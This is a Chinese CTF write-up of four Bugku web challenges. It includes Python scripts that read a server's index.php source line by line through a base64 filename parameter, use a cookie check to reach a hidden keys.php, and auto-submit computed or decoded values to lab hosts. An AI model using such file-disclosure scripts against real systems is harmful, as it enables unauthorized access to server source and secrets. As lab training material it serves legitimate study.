1.bugku-好像需要密码

不比burpsuite快多少

2.bugku-cookies

?line=&filename=a2V5cy50eHQ=

a2V5cy50eHQ=解密为keys.txt，且line=0时回显，1，2，3都不回显

则http://114.67.175.224:19757/index.php?line=0&filename=aW5kZXgucGhw查看index.php文件第一行

脚本解决(因为网页简单故省略正则)

import requests
import string
import re
with open('source.txt','w', encoding='UTF-8') as f:
    for i in range(0,50):
        payload = "http://114.67.175.224:19757/index.php?line=" + str(i) +"&filename=aW5kZXgucGhw"
        x=requests.get(payload)
        m=x.content.decode()
        f.write(m)

 

<php
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);

if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
$file_list[2]='keys.php';
}

if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
?>

分析后端源码的意思：
if(isset($_COOKIE[‘margin’]) && $_COOKIE[‘margin’]==‘margin’){

$fa = file($file);

查看keys.php发现flag

3.秋名山车神

 

亲请在2s内计算老司机的车速是多少

1796186889-862621952+1300107080*389498425-1547181833*503077495*1253024600-62338025-1112840463-2086718810-2041304337=?;

import re
import requests
url="http://114.67.175.224:16740/"
s=requests.session()
text=s.get(url).text
fun = re.search('<div>(.*?)=',text, re.S).group(1)
num=eval(fun)
key={'value':num}
flag=s.post(url,data=key)
print(flag.text)

注意利用了eval字符转换的特性，num值会因session改变

其他都是爬虫基础

 

4.速度要快

</br>我感觉你得快点!!!<!-- OK ,now you have to post the margin what you find -->

 

第一次解密 跑的还不错，给你flag吧: MTE3Nzk3   第二次解密 117797  

import requests
import base64
import re
s = requests.session() #建立会话
url = "http://114.67.175.224:16031/"
head = s.get(url).headers #返回字典
result = head['flag'] 
result = base64.b64decode(result).decode('utf-8') #第一次解码
result = re.findall('(\w*)', result,re.S)
result = base64.b64decode(result[5]).decode('utf-8') #第二次解码
payload = {'margin': result}
print(s.post(url, data=payload).text) 

与3类似，正则是凑出来的...将就看吧
